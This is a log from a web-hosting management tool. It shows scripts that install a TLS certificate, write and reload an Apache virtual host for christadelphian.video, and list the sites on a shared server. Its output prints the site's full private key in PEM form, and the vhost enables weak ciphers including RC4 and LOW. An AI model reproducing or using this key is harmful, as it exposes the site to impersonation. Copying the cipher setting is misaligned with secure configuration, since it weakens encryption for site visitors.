W2n639PlCn0CgYBZ1bqm0zdZuBHV31Zb2VxmV0trHy2io+K+7fo8B7kQTRiYFktB
jW4FEHrwf6A1JbGBpqLO2DB8VoW8J6SAi6cEe8qTgXhf64h7qM51Tp2ccO4AebsK
yuLWPFqLwZ92LO64EmCIMjs20q8H28n9oihHtrLRsj+3Dle+r/KpPLK5uQKBgQCA
hrIznjuTP0WGDxqL7A7ZsWPV7szVm4HAMHb+rhZQe/Xfy+2mMUkWbolwaZsASv9A
YkUfftPL/FekPt0Vz9HAOQw69l5mVIR/vQDxIGsRlTAQ5n2gOrOMAKbZZMPsYKS3
vP7LsSpdizZdErpYN3CaqYrMB8+I3ZMCw4TX9ZLNDQKBgASBnomwM/kP+e0PzAPR
5T5L5ITwMXKVT1rfk3+nMlLpWqm036yiuBesxRgtY5OLXLmRyW/lIRacKGf1mACD
Tx4LrRKHWyhH5byk+tH2sovZXInDqwZhEGPE5GWLwpe+ViUwXxUzLhjkS/ZsHuPe
pKL+qPdKZ08H/S/ZeIGHNp4p
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-27 06:00:43:
chmod 755 /tmp/pkp948614; /tmp/pkp948614; rm /tmp/pkp948614
2025-10-27 06:00:43:
dir=/etc/ssl/certs
2025-10-27 06:00:43:
PUT: /tmp/pkp960465
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/christadelphian_www_video.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-27 06:00:43:
chmod 755 /tmp/pkp960465; /tmp/pkp960465; rm /tmp/pkp960465
2025-10-27 06:00:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf 49
<VirtualHost *:80>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-27 06:00:43:
PUT: /tmp/pkp170740
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphian_www_video.conf
TARGET=/etc/apache2/sites-enabled/christadelphian_www_video.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/christadelphian_www_video.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf= 1'
fi
2025-10-27 06:00:43:
chmod 755 /tmp/pkp170740; /tmp/pkp170740; rm /tmp/pkp170740
2025-10-27 06:00:43:
2025-10-27 06:00:43:
PUT: /tmp/pkp513609
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-27 06:00:43:
chmod 755 /tmp/pkp513609; /tmp/pkp513609; rm /tmp/pkp513609
2025-10-27 06:00:43:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-27 06:00:43: Establishing a connection
2025-10-27 06:00:43:
PUT: /tmp/pkp721952
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-27 06:00:43:
chmod 755 /tmp/pkp721952; /tmp/pkp721952; rm /tmp/pkp721952
2025-10-27 06:00:43:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-27 06:00:43:
PUT: /tmp/pkp598623
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/christadelphian_www_video.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-27 06:00:43:
chmod 755 /tmp/pkp598623; /tmp/pkp598623; rm /tmp/pkp598623
2025-10-27 06:00:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf 1246
<VirtualHost *:80>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-27 06:00:43:
PUT: /tmp/pkp782685
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-27 06:00:43:
chmod 755 /tmp/pkp782685; /tmp/pkp782685; rm /tmp/pkp782685
2025-10-27 06:00:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt 5361
5c:f1:b3:5e:51:0d:47:68:83:70:fb:83:f6:78:51:97
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBZZGqBWbTKTu2cQTm4QpoulOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMjExWhcNMjYwMTI1MDUwMjEwWjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDU3IGZnPCOnbpjw44xCkAQwj8UP8tqEvrcBmHO28w8YMjKdMsV9rxm
V0ucCOXGvDe+sKJzC37fRuGmQJOh0Npc/LWb1XSyQ/04AzeywOknuBubmDz4baev
c1CVh3DNSMnCRfAmdBbyeDBzeSxiXWxbliYpl7Cztvd/27cEssPiZZP/a2YIVE7A
XVN1TeMwUCerH8OZkTvTzHeU325P2/k1c5fGbkpPH7un4ORAbISboGg76wjljKeE
M+SFHLWuAvXbxtnIcy9auV2DRVZvu3d7j9O8Rx49zxulx0d5AxPEZDgtN7bhuXhb
FHWKllGnM5Mb8ZpWXe5dGPMB97UMgx73AgMBAAGjggIlMIICITAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFBtg1WszV6s0AS7RxtuBBGWKsnZxMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVY2hyaXN0YWRlbHBo
aWFuLnZpZGVvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzkuY3JsMIIBBAYKKwYBBAHWeQIEAgSB
9QSB8gDwAHcAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaJEEr
tAAABAMASDBGAiEA7yZtMyIttUvr15r9ZI4mFkz7flDzgSsLSlTfmfUuBB8CIQDY
n8XzHtsu8isrmzxiDFFwy/Ph9xDLrZOO2dX8TiY8FQB1AJaXZL9VWJet90OHaDcI
Qnfp8DrV9qTzNm5GpD8PyqnGAAABmiRBK/8AAAQDAEYwRAIgHbYkG3mxyUdLpyF2
d275iI9uCUueZu98pQ1Axs0BqRMCIAjVsQvqgpO9GXtIUPJu9gMeWA0L+DRVrZtA
R7KMu7avMA0GCSqGSIb3DQEBCwUAA4IBAQCWan4j7rCdm4SBDVfiVVcnoaNkKC3r
1HxlukgGnddYO5SKnHewBa46UdnbGJnJ6HfuQuOtjW3TvGIo6/OEaliNeBaaspp8
cM8xgAMnVs2jMDvmSvi7ycwKXdkGF3lTFL3QI2SwboGsuq5SGW9zY9/YorPdwBrp
iDz6+/UdD2COllcJwXqcL63cb1Jy+cwEEmjb69zs/zkg8XDQlRn3fTz9LN3B0CcI
w86UZaxaVEx9d03RUlSHKivEtohVaGs1j18LGzU4AsbPUADoQQq7JCVoXDFIY1Uc
eX0kW7IW38NspXjG3BuXYh2HqBb9SMC/jyV+XYgNnoPH29xLSog0hvl5
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDU3IGZnPCOnbpj
w44xCkAQwj8UP8tqEvrcBmHO28w8YMjKdMsV9rxmV0ucCOXGvDe+sKJzC37fRuGm
QJOh0Npc/LWb1XSyQ/04AzeywOknuBubmDz4baevc1CVh3DNSMnCRfAmdBbyeDBz
eSxiXWxbliYpl7Cztvd/27cEssPiZZP/a2YIVE7AXVN1TeMwUCerH8OZkTvTzHeU
325P2/k1c5fGbkpPH7un4ORAbISboGg76wjljKeEM+SFHLWuAvXbxtnIcy9auV2D
RVZvu3d7j9O8Rx49zxulx0d5AxPEZDgtN7bhuXhbFHWKllGnM5Mb8ZpWXe5dGPMB
97UMgx73AgMBAAECggEBAJbEVFtMaKprF4DgGw+rFfOI0gryoI5SQTKkppRQ5FkD
qFSV4t58s7a9MAWl27Im0EkVbQqVYticqOkLpkWf23qvV6a3yv8U3v7UcJgAwWPr
qEpNyyme6X2A7NvsYb5VRup+hPmHklVNQewYMJK/XyeDsyYUlgjEmIsMQZZnVA0+
4ISqeE+S4YOhAaIZXYCO+KIcYB+m+ZbVIIPc0z4GygIB9BpZ2XpehAuk/4hCHRDf
1WAE6L86lrbtetc6v5mLguLT9xjiVVkznsX/IswTvKv/YfJC4CyODkMD+8vj6XCX
NIF1n0QGGIQJoTt4fhiTxbGSSJIzoYFTpuNowC9ggmkCgYEA7+oucuVmfkMip4Hx
WFW2I4HVYSCuRjO3FtUoXyjnlukEb3ws0GVPhHhXzjQqx2/bsKKeNJu4m/fXzWYI
A4G6JisjAJWtJKLTd9Bec7jtIRMttOMejNn2FJrm1tuwTD2kKuhYvXkWgJVHlvV2
UCkfMK+IlEUdrpxMv4cA435ElYMCgYEA4yH9IWgrI/pKIl4l6y8+M6Z93aCMvg6y
93Zf/PFIWtwnpkXMx7ZFNUg50BKGFZe/MJZb62ajACxs7zHNC9hRdNb99rLlM0L1
YMG7cJBUniMXvX/wJEjlD+0+TOlG/feutlJX6IeB6eEyqd0++CZU2mZo+pJM6ydM
W2n639PlCn0CgYBZ1bqm0zdZuBHV31Zb2VxmV0trHy2io+K+7fo8B7kQTRiYFktB
jW4FEHrwf6A1JbGBpqLO2DB8VoW8J6SAi6cEe8qTgXhf64h7qM51Tp2ccO4AebsK
yuLWPFqLwZ92LO64EmCIMjs20q8H28n9oihHtrLRsj+3Dle+r/KpPLK5uQKBgQCA
hrIznjuTP0WGDxqL7A7ZsWPV7szVm4HAMHb+rhZQe/Xfy+2mMUkWbolwaZsASv9A
YkUfftPL/FekPt0Vz9HAOQw69l5mVIR/vQDxIGsRlTAQ5n2gOrOMAKbZZMPsYKS3
vP7LsSpdizZdErpYN3CaqYrMB8+I3ZMCw4TX9ZLNDQKBgASBnomwM/kP+e0PzAPR
5T5L5ITwMXKVT1rfk3+nMlLpWqm036yiuBesxRgtY5OLXLmRyW/lIRacKGf1mACD
Tx4LrRKHWyhH5byk+tH2sovZXInDqwZhEGPE5GWLwpe+ViUwXxUzLhjkS/ZsHuPe
pKL+qPdKZ08H/S/ZeIGHNp4p
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
